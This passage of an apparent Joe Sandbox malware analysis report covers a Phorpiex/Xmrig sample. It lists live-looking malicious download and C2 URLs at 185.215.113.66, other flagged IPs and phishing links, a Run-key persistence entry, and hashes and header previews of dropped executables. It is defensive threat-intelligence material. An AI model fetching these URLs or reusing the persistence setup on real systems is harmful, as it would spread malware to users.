http://185.215.113.66/1uK	sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1937078841.000000000069F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/tdrpl.exer	Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/2JJC:	sysppvrdnvs.exe, 00000002.00000002.2003480961.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.66	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
2.186.114.89	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
5.75.95.114	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
2.63.29.22	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
91.202.233.141	unknown	Russian Federation	9009	M247GB	true
5.239.153.192	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543742
Start date and time:	2024-10-28 11:10:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Bjl3geiFEK.exe renamed because original name is a hash value
Original Sample Name:	ed9fbbbe548c41479cb70e4d694793d0.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@27/15@0/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 63 Number of non-executed functions: 146
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.209.108, 4.175.87.197, 20.3.187.198, 52.165.164.15, 20.242.39.171, 40.69.42.241
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, redir.update.msft.com.trafficmanager.net, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, www.update.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Bjl3geiFEK.exe

Simulations

Behavior and APIs

Time	Type	Description
06:11:17	API Interceptor	3x Sleep call for process: sysppvrdnvs.exe modified
06:11:17	API Interceptor	17x Sleep call for process: powershell.exe modified
10:11:18	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows Settings C:\Windows\sysppvrdnvs.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.66	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/1
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/2
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66/3
	bBcZoComLl.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/4
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	GGXhCiYFBw.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	0NSjUT34gS.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	file.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66/3
2.186.114.89	SecuriteInfo.com.Trojan.DownLoader46.2135.7325.13890.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
239.255.255.250	https://ipfs.io/ipfs/QmNRd2YnNadczqweR7UkjNBG3cvGj4th37n2oBP7ZKKPD8#test@kghm.com	Get hash	malicious	HTMLPhisher	Browse
	https://startuppro.wethemez.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPVVXdzRVWEk9JnVpZD1VU0VSMjExMDIwMjRVNTIxMDIxNTI=N0123	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	Sars Urgent Notice.pdf	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://alinefrasca.sbs/pktcr/	Get hash	malicious	HTMLPhisher	Browse
	https://kljhgfdertg7h8uihfgdew34e5rtyuhjiolkjhgfd.pages.dev/?zOTAyMn0.o1hC1xYbJolS=test@kghm.com&h0-bOY230w22zEQSk5Ti	Get hash	malicious	HTMLPhisher	Browse
	https://bitly.cx/NXacY	Get hash	malicious	GRQ Scam	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://browserupdater.com	Get hash	malicious	Unknown	Browse
	http://ddl.safone.dev	Get hash	malicious	Unknown	Browse
91.202.233.141	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/5
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/5
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/1
	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/dwntbl
	bBcZoComLl.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/5
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/4
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/2
	GGXhCiYFBw.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/4
	0NSjUT34gS.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/1
	file.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/5

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	Sars Urgent Notice.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://ddl.safone.dev	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	199.232.210.172
	SecuriteInfo.com.Trojan.PWS.Stealer.38079.9664.9958.exe	Get hash	malicious	Mystic Stealer	Browse	199.232.210.172
	v9dVG4fAGa.exe	Get hash	malicious	Clipboard Hijacker	Browse	199.232.214.172
	3cfc9c.msi	Get hash	malicious	Unknown	Browse	199.232.210.172
	lBYtUYrlFO.exe	Get hash	malicious	Stealc	Browse	199.232.214.172
	j6qRCRPE7S.ps1	Get hash	malicious	Metasploit	Browse	199.232.210.172
	2OwohMu0zx.exe	Get hash	malicious	AsyncRAT	Browse	199.232.210.172
	UwOcZADSmi.exe	Get hash	malicious	AsyncRAT	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
TCIIR	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	217.219.51.62
	nklarm5.elf	Get hash	malicious	Unknown	Browse	151.234.55.232
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	217.219.63.32
	nklx86.elf	Get hash	malicious	Unknown	Browse	151.234.90.56
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	195.181.57.222
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	37.254.3.194
	nabppc.elf	Get hash	malicious	Unknown	Browse	37.148.66.98
	splarm7.elf	Get hash	malicious	Unknown	Browse	5.233.188.249
	nabarm5.elf	Get hash	malicious	Unknown	Browse	2.181.175.92
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	91.147.73.3
TCIIR	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	217.219.51.62
	nklarm5.elf	Get hash	malicious	Unknown	Browse	151.234.55.232
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	217.219.63.32
	nklx86.elf	Get hash	malicious	Unknown	Browse	151.234.90.56
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	195.181.57.222
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	37.254.3.194
	nabppc.elf	Get hash	malicious	Unknown	Browse	37.148.66.98
	splarm7.elf	Get hash	malicious	Unknown	Browse	5.233.188.249
	nabarm5.elf	Get hash	malicious	Unknown	Browse	2.181.175.92
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	91.147.73.3
ROSTELECOM-ASRU	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	109.161.76.251
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	37.21.81.251
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	217.107.169.246
	nklm68k.elf	Get hash	malicious	Unknown	Browse	178.234.186.81
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	95.167.9.144
	splm68k.elf	Get hash	malicious	Unknown	Browse	95.37.181.16
	splppc.elf	Get hash	malicious	Unknown	Browse	95.191.240.170
	nabx86.elf	Get hash	malicious	Unknown	Browse	188.16.234.28
	nabarm7.elf	Get hash	malicious	Unknown	Browse	95.159.138.237
	splarm.elf	Get hash	malicious	Unknown	Browse	178.67.175.45

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\33080.scr	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe

Download File

Process:	C:\Users\user\Desktop\Bjl3geiFEK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	6.394560338648692
Encrypted:	false
SSDEEP:	1536:27zFjdFmav82WoPRgMRmtMJXlXXwfAbQaQG9MF7vRjoJrl:yRyO+oPKjoBAIcZF7vqrl
MD5:	06560B5E92D704395BC6DAE58BC7E794
SHA1:	FBD3E4AE28620197D1F02BFC24ADAF4DDACD2372
SHA-256:	9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D
SHA-512:	B55B49FC1BD526C47D88FCF8A20FCAED900BFB291F2E3E1186EC196A87127ED24DF71385AE04FEDCC802C362C4EBF38EDFC182013FEBF4496DDEB66CE5195EE3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Joe Sandbox View:	Filename: T52Z708x2p.exe, Detection: malicious, Browse Filename: lJ4EzPSKMj.exe, Detection: malicious, Browse Filename: Us051y7j25.exe, Detection: malicious, Browse Filename: thcdVit1dX.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: dgiX55cHyU.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.pj)..9)..9)..9 ..9...9Q..8+..9..C9+..9..A9(..9...9+..9..s9-..9)..9...9..e9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L......g.....................p......@y............@..........................p..............................................\|0.......................................................................................................................text............................... ..`.rdata...?.......@..................@..@.data........@.......2..............@...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\1[1]

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	110600
Entropy (8bit):	7.998486619051527
Encrypted:	true
SSDEEP:	3072:LFQC4AbS79Bo0bTtS3v4P09loyBE7QXNn8IJrF:LFQC4A+7jfiw8HoyYQXdXF
MD5:	1FCB78FB6CF9720E9D9494C42142D885
SHA1:	FEF9C2E728AB9D56CE9ED28934B3182B6F1D5379
SHA-256:	84652BB8C63CA4FD7EB7A2D6EF44029801F3057AA2961867245A3A765928DD02
SHA-512:	CDF58E463AF1784AEA86995B3E5D6B07701C5C4095E30EC80CC901FFD448C6F4F714C521BF8796FFA8C47538BF8BF5351E157596EFAA7AB88155D63DC33F7DC3
Malicious:	false
Preview:	NGS!.....8y....j...x9"{[&..TL..,..L.nD..70Ln..MP.B..e...'.LpVJ...g...Y....]...h=....Ot(.P:...jjoF.....2y....:.P@.b...6]u...D\..i4<....Q?......._;]..!.A.4.A......1..c.sa^.+dQ!xl.6Q..8w...a7?..].T%:...H.1....$.j.......4f.k!...p.Fz.v..........?l...5...7...(.....=c.s..c.F.{..-.uE.8.D....QF...\|.8.ey.3'.@<Kq.."S.-..?..4.s......S..2..j=.e..Le.....Yh....+...[}AM.,.@...gW\..Z)..ET.../\|."...b.W........Ro.......j.(\|A,....>.?.1;..>......".&.....;u.c.y..[....t..`...w ..#.....c.dyy...s..G.x_C.h...I]..D....ey...:.FQ.Q...C.. .B.Z.n.2...@X.&>UY.g..D...YZ.)F.!..F...F...e....h4VGK.>.V......3#+.$.,.&.S...lk..I.F\..C.k$).J._l\.",.0u!.k..T....}.V...!..Y.....B....{}.....nAL...[.Xo[+.1\...m.,.^.bLMD.j.-g...... <._8d+-D./.k<..'.....dv...-.Q...i.`........N4W(._"..%.....5q..844o4..g..d..x....s...i.fc.....D..^..].....M(...A..[...gB4..m.w..AV....@.g..5.4.].....BLr!n....W.G,6+uY..9U.4..........O..P....&....?.....v.K.i..>X...7Dt...o=.2........f....bi..C.5N.>.7lf.......^..@F.O

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\dwntbl[1]

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	85760
Entropy (8bit):	7.998087239673687
Encrypted:	true
SSDEEP:	1536:17wFGypBQDLreXJ4xaX8px3nB7C6RfEysfoVE9iGeL8LNoaZb3raWBL:RwrTQTeXJh8z3nBTqjoGeQCaJu0
MD5:	20493FD87FE8305516142680D848F1CE
SHA1:	8DF2CB6236677885685BA97E328F37CD8F5492D3
SHA-256:	FC4A761817120D2DE8B7618833F0EB92410977CF06F4D2A4FB4AF567C40C5DB3
SHA-512:	BBBB809C3869B9D28D8CF490B3390B6FD1E6D25DB69BE7FC6EA5ACFA7FF79FB995F43BD113A74BA3FFBFEB32FA3EC0FB971988094EE436DAC283616E3142EC48
Malicious:	false
Preview:	s..W]...._..\|O..Y.W.......q.j..".n....+.H\|\...E..[.E...'..Y\|.{e..:.Y..]..u....X..j....R..e.7.~.p)....x~.j..t".u.>N....j.>..k@"....eQ.....oN...;$4....x.nv.....2`A.S.....t.R..)O...........%.S....1.c.Y.....X........u.N....T..`.X.WV...T..p.f.....+%.{%]P...z.;......z..%.".....V.zgZ..j......I;.bz.....MMb..b5h...m.o.%..!.M..t0x..pg&....v.2..H.oc:..?.W.{6.F........V.....#..m._M...o2..4)O.W#...E..>.....?W......iU.V.#p.{.%.I.}hb.......$..l...m....1s^z'...4..........{..s..px...WP..?.Q.E)......!.......U.........:07.(t....6.0p.wa..h...._4.\N...}...c\|]{c.V'.....y.....f.d.C.....I.....:.U.+...Q.."...f...y...O..9....../..f}m.L{Z.O..$E..)..6$......d..tc....?.1....>H...'4U^......<.W..%.....,1%..((........1..8.0...aq.v.....!.k.x..X.-\|...M.1.Z.^\.o..qy.q.]....{~.}......D.7K..{..2.a..uO.W....a......[."..E.?...!....DS*.y.S..exPJ.. K.@.~.nZ.H../M..Y......."......t.ZO..\|nN.....u..X..\^...s.-[a.[..3K....s.-.@5z...H.\|.....{.I ..uU......[...HN.}..A..Zsy0..=i9

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379401388151058
Encrypted:	false
SSDEEP:	48:fWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//ZeUyus:fLHxvIIwLgZ2KRHWLOugos
MD5:	8B31787758671196183789E550CE0BD7
SHA1:	E42CBA6033293DB707F88FEFA1362042DD8896C1
SHA-256:	4667F2971C25BE1476BD553E43FDB7E452768B17670044A4DB1B432C7B8C96AB
SHA-512:	74169910DC0EDDA75ECDCFC6AFF2842692F6EFB165935AD6CD849899D373C41A6628D6C6679ADBD89BEF8F73110BF01F14C3FEDBC7C1493A00A6EE159BD76621
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\229472814.exe

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	110600
Entropy (8bit):	7.998486619051527
Encrypted:	true
SSDEEP:	3072:LFQC4AbS79Bo0bTtS3v4P09loyBE7QXNn8IJrF:LFQC4A+7jfiw8HoyYQXdXF
MD5:	1FCB78FB6CF9720E9D9494C42142D885
SHA1:	FEF9C2E728AB9D56CE9ED28934B3182B6F1D5379
SHA-256:	84652BB8C63CA4FD7EB7A2D6EF44029801F3057AA2961867245A3A765928DD02
SHA-512:	CDF58E463AF1784AEA86995B3E5D6B07701C5C4095E30EC80CC901FFD448C6F4F714C521BF8796FFA8C47538BF8BF5351E157596EFAA7AB88155D63DC33F7DC3
Malicious:	true
Preview:	NGS!.....8y....j...x9"{[&..TL..,..L.nD..70Ln..MP.B..e...'.LpVJ...g...Y....]...h=....Ot(.P:...jjoF.....2y....:.P@.b...6]u...D\..i4<....Q?......._;]..!.A.4.A......1..c.sa^.+dQ!xl.6Q..8w...a7?..].T%:...H.1....$.j.......4f.k!...p.Fz.v..........?l...5...7...(.....=c.s..c.F.{..-.uE.8.D....QF...\|.8.ey.3'.@<Kq.."S.-..?..4.s......S..2..j=.e..Le.....Yh....+...[}AM.,.@...gW\..Z)..ET.../\|."...b.W........Ro.......j.(\|A,....>.?.1;..>......".&.....;u.c.y..[....t..`...w ..#.....c.dyy...s..G.x_C.h...I]..D....ey...:.FQ.Q...C.. .B.Z.n.2...@X.&>UY.g..D...YZ.)F.!..F...F...e....h4VGK.>.V......3#+.$.,.&.S...lk..I.F\..C.k$).J._l\.",.0u!.k..T....}.V...!..Y.....B....{}.....nAL...[.Xo[+.1\...m.,.^.bLMD.j.-g...... <._8d+-D./.k<..'.....dv...-.Q...i.`........N4W(._"..%.....5q..844o4..g..d..x....s...i.fc.....D..^..].....M(...A..[...gB4..m.w..AV....@.g..5.4.].....BLr!n....W.G,6+uY..9U.4..........O..P....&....?.....v.K.i..>X...7Dt...o=.2........f....bi..C.5N.>.7lf.......^..@F.O

C:\Users\user\AppData\Local\Temp\264162301.exe

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	110600
Entropy (8bit):	7.998486619051527
Encrypted:	true
SSDEEP:	3072:LFQC4AbS79Bo0bTtS3v4P09loyBE7QXNn8IJrF:LFQC4A+7jfiw8HoyYQXdXF
MD5:	1FCB78FB6CF9720E9D9494C42142D885
SHA1:	FEF9C2E728AB9D56CE9ED28934B3182B6F1D5379
SHA-256:	84652BB8C63CA4FD7EB7A2D6EF44029801F3057AA2961867245A3A765928DD02
SHA-512:	CDF58E463AF1784AEA86995B3E5D6B07701C5C4095E30EC80CC901FFD448C6F4F714C521BF8796FFA8C47538BF8BF5351E157596EFAA7AB88155D63DC33F7DC3
Malicious:	true
Preview:	NGS!.....8y....j...x9"{[&..TL..,..L.nD..70Ln..MP.B..e...'.LpVJ...g...Y....]...h=....Ot(.P:...jjoF.....2y....:.P@.b...6]u...D\..i4<....Q?......._;]..!.A.4.A......1..c.sa^.+dQ!xl.6Q..8w...a7?..].T%:...H.1....$.j.......4f.k!...p.Fz.v..........?l...5...7...(.....=c.s..c.F.{..-.uE.8.D....QF...\|.8.ey.3'.@<Kq.."S.-..?..4.s......S..2..j=.e..Le.....Yh....+...[}AM.,.@...gW\..Z)..ET.../\|."...b.W........Ro.......j.(\|A,....>.?.1;..>......".&.....;u.c.y..[....t..`...w ..#.....c.dyy...s..G.x_C.h...I]..D....ey...:.FQ.Q...C.. .B.Z.n.2...@X.&>UY.g..D...YZ.)F.!..F...F...e....h4VGK.>.V......3#+.$.,.&.S...lk..I.F\..C.k$).J._l\.",.0u!.k..T....}.V...!..Y.....B....{}.....nAL...[.Xo[+.1\...m.,.^.bLMD.j.-g...... <._8d+-D./.k<..'.....dv...-.Q...i.`........N4W(._"..%.....5q..844o4..g..d..x....s...i.fc.....D..^..].....M(...A..[...gB4..m.w..AV....@.g..5.4.].....BLr!n....W.G,6+uY..9U.4..........O..P....&....?.....v.K.i..>X...7Dt...o=.2........f....bi..C.5N.>.7lf.......^..@F.O

C:\Users\user\AppData\Local\Temp\33080.scr

Download File

Process:	C:\Users\user\Desktop\Bjl3geiFEK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	6.394560338648692
Encrypted:	false
SSDEEP:	1536:27zFjdFmav82WoPRgMRmtMJXlXXwfAbQaQG9MF7vRjoJrl:yRyO+oPKjoBAIcZF7vqrl
MD5:	06560B5E92D704395BC6DAE58BC7E794
SHA1:	FBD3E4AE28620197D1F02BFC24ADAF4DDACD2372
SHA-256:	9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D
SHA-512:	B55B49FC1BD526C47D88FCF8A20FCAED900BFB291F2E3E1186EC196A87127ED24DF71385AE04FEDCC802C362C4EBF38EDFC182013FEBF4496DDEB66CE5195EE3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\33080.scr, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Joe Sandbox View:	Filename: T52Z708x2p.exe, Detection: malicious, Browse Filename: lJ4EzPSKMj.exe, Detection: malicious, Browse Filename: Us051y7j25.exe, Detection: malicious, Browse Filename: thcdVit1dX.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: dgiX55cHyU.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.pj)..9)..9)..9 ..9...9Q..8+..9..C9+..9..A9(..9...9+..9..s9-..9)..9...9..e9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L......g.....................p......@y............@..........................p..............................................\|0.......................................................................................................................text............................... ..`.rdata...?.......@..................@..@.data........@.......2..............@...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\818921588.exe

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	6.394560338648692
Encrypted:	false
SSDEEP:	1536:27zFjdFmav82WoPRgMRmtMJXlXXwfAbQaQG9MF7vRjoJrl:yRyO+oPKjoBAIcZF7vqrl
MD5:	06560B5E92D704395BC6DAE58BC7E794
SHA1:	FBD3E4AE28620197D1F02BFC24ADAF4DDACD2372
SHA-256:	9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D
SHA-512:	B55B49FC1BD526C47D88FCF8A20FCAED900BFB291F2E3E1186EC196A87127ED24DF71385AE04FEDCC802C362C4EBF38EDFC182013FEBF4496DDEB66CE5195EE3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\818921588.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.pj)..9)..9)..9 ..9...9Q..8+..9..C9+..9..A9(..9...9+..9..s9-..9)..9...9..e9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L......g.....................p......@y............@..........................p..............................................\|0.......................................................................................................................text............................... ..`.rdata...?.......@..................@..@.data........@.......2..............@...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3rddolps.u41.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bdgt3o4r.xla.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ol2t3fun.mdp.psm1

Download File

